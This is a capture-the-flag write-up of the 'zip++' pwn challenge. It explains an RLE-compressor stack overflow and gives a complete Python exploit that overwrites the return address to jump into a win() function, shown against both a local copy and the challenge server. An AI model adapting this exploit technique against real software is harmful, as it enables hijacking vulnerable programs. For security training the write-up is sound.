//zip++ (PWN) Writeup
>Challenge Overview
-
Service:
nc pwn-14caf623.p1.securinets.tn 9000 -
Binary:
main(64-bit ELF, dynamically linked, NX enabled, non-PIE) -
Goal: Trigger the hidden
winroutine to executesystem("cat flag.txt").
>Initial Recon
- Identify the binary type:
```bash
file main
```
Result: 64-bit LSB executable, dynamically linked, not stripped.
- Dump useful strings:
```bash
strings -n 4 main | grep -i "flag"
```
Output revealed the exact command cat flag.txt, hinting at a system call.
- Disassemble the binary (
objdump -d main) to recover the core routines:
- setup: standard I/O tweaks via setbuf.
- compress: suspicious RLE compressor.
- vuln: reads up to 0x300 bytes, calls compress, prints the encoded buffer, loops unless input starts with exit.
- win: wraps system("cat flag.txt").
>Vulnerability Analysis
Buffer Layout
vuln allocates two stack buffers:
-
input[0x300]atrbp-0x610 -
output[0x300]atrbp-0x310
compress(src, length, dst) RLE-encodes the client data: each run emits two bytes (value + count). The bug: compress writes at most 2 * length bytes into dst, but dst is only 0x300 bytes wide. With carefully chosen input, the run-length format overflows output, smashing saved rbp and the return address of vuln.
Offsets
From the disassembly:
-
Saved
rbpsits atrbp-0x8 -
Return address sits immediately after saved
rbp -
Both end up inside the overflowed region at offsets
0x310and0x318relative todst
Therefore, we need 0x310 bytes to reach saved rbp, then 8 bytes for it, then 8 bytes for the return address.
>Crafting the Payload
Strategy
-
Produce an input whose compression output is mostly harmless two-byte pairs (
value,1). This keeps control of the total size. -
Flip the final runs so their counts exceed 1, forcing bigger chunks into the encoded stream and aligning overwrites on saved
rbpand the return address. -
Overwrite the return pointer with an address inside
winafter its prologue to avoid stack corruption. The chosen target:0x4011a9, right before theleathat prepares "cat flag.txt".
Calculations
-
Need
0x310(= 784) bytes before savedrbp; each run contributes two bytes. -
Alternate bytes (
0x30,0x31) with run-length1for the first392runs (392 * 2 = 784 bytes). -
Following runs inject the new
rbpbytes (0x42,0x43,0x44,0x45) with counts carefully chosen so compressed output places them at the right slots. -
Final run writes
0xA9repeated 17 times; compressed output ends with0xA9 0x11. Interpreted little-endian, the trailing eight bytes form0x00000000004011a9.
>Exploit Script
The exploit performs the following steps:
-
Build the crafted payload.
-
(Optional) Run locally to confirm the
winpath executes. -
Connect to the remote service, send the payload, then send
exitto exit the loop and trigger the overwritten return.
Full script (001.zippp_exploit.py):
#!/usr/bin/env python3
"""zip++ exploit helper."""
import argparse
import os
import select
import socket
import subprocess
import time
from pathlib import Path
BINARY = Path(__file__).resolve().parent / "main"
SEP = "=" * 64
def log(msg: str) -> None:
print(f"🔥 {msg}")
def build_payload() -> bytes:
log("Building overflow payload 🧱")
payload = bytearray()
# Runs 0..391: alternate bytes to keep run length 1 each.
for i in range(392):
payload.append(0x30 if i % 2 == 0 else 0x31)
def extend_with(byte_value: int, count: int) -> None:
log(f"Adding run: byte=0x{byte_value:02x}, count={count}")
payload.extend([byte_value] * count)
# Runs 392-395: craft saved rbp bytes
extend_with(0x42, 0x42)
extend_with(0x43, 0x43)
extend_with(0x44, 0x44)
extend_with(0x45, 0x45)
# Run 396: overwrite return address -> jump inside win()
extend_with(0xA9, 0x11)
log(f"Total payload length: {len(payload)} bytes")
if len(payload) > 0x300:
raise ValueError("Payload longer than 0x300 bytes; adjust counts")
print(SEP)
return bytes(payload)
def run_local(payload: bytes) -> None:
log("Launching local binary 🧪")
proc = subprocess.Popen(
[str(BINARY)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT
)
assert proc.stdin is not None
assert proc.stdout is not None
log("Sending overflow payload 🚀")
proc.stdin.write(payload)
proc.stdin.flush()
_drain_output(proc.stdout, 1.0)
log("Triggering exit to land in win() 🎯")
proc.stdin.write(b"exit")
proc.stdin.flush()
proc.stdin.close()
_drain_output(proc.stdout, 3.0)
try:
proc.wait(timeout=2.0)
except subprocess.TimeoutExpired:
proc.terminate()
leftover = proc.stdout.read()
if leftover:
print(leftover.decode(errors="ignore"), end="")
log(f"Local process return code: {proc.returncode}")
print(SEP)
def _drain_output(stream, duration: float) -> None:
deadline = time.time() + duration
fd = stream.fileno()
collected = bytearray()
while time.time() < deadline:
timeout = max(0.0, deadline - time.time())
readable, _, _ = select.select([fd], [], [], timeout)
if not readable:
break
chunk = os.read(fd, 4096)
if not chunk:
break
collected.extend(chunk)
if collected:
print(collected.decode(errors="ignore"), end="")
def run_remote(payload: bytes, host: str, port: int) -> None:
log(f"Connecting to remote {host}:{port} 🌐")
with socket.create_connection((host, port)) as sock:
sock.settimeout(2.0)
banner = _recv_until(sock, b"data to compress : ")
if banner:
print(banner.decode(errors="ignore"), end="")
log("Sending overflow payload 🚀")
sock.sendall(payload)
response = _recv_until(sock, b"data to compress : ")
if response:
print(response.decode(errors="ignore"), end="")
log("Triggering exit to land in win() 🎯")
sock.sendall(b"exit\n")
collected = bytearray()
idle = 0
while True:
try:
chunk = sock.recv(65535)
if not chunk:
break
collected.extend(chunk)
idle = 0
except socket.timeout:
idle += 1
if idle >= 5:
break
if collected:
print(collected.decode(errors="ignore"), end="")
print(SEP)
def _recv_until(sock: socket.socket, marker: bytes) -> bytes:
data = bytearray()
try:
while marker not in data:
chunk = sock.recv(4096)
if not chunk:
break
data.extend(chunk)
except socket.timeout:
pass
return bytes(data)
def main() -> None:
parser = argparse.ArgumentParser(description="Exploit zip++")
parser.add_argument("action", choices=["local", "remote"], help="where to trigger the exploit")
parser.add_argument("--host", default="pwn-14caf623.p1.securinets.tn")
parser.add_argument("--port", type=int, default=9000)
args = parser.parse_args()
payload = build_payload()
if args.action == "local":
run_local(payload)
else:
run_remote(payload, args.host, args.port)
if __name__ == "__main__":
main()
>Local Verification
python3 001.zippp_exploit.py local
Key output:
🔥 Triggering exit to land in win() 🎯
Securinets{flag}
🔥 Local process return code: 0
The local flag.txt is a decoy (Securinets{flag}), confirming the control-flow hijack.
>Remote Exploit
python3 001.zippp_exploit.py remote
Remote service response:
Securinets{my_zip_doesnt_zip}
>Flag
Securinets{my_zip_doesnt_zip}
>Lessons Learned
-
Always validate compressor output size vs destination buffer size; RLE outputs can double input length.
-
When returning into functions that set up their own frame, pivot into a safe instruction (e.g.,
leainsidewin) to avoid unintended stack adjustments. -
Automating I/O interactions with helpers (
_recv_until,_drain_output) keeps exploit development deterministic and repeatable.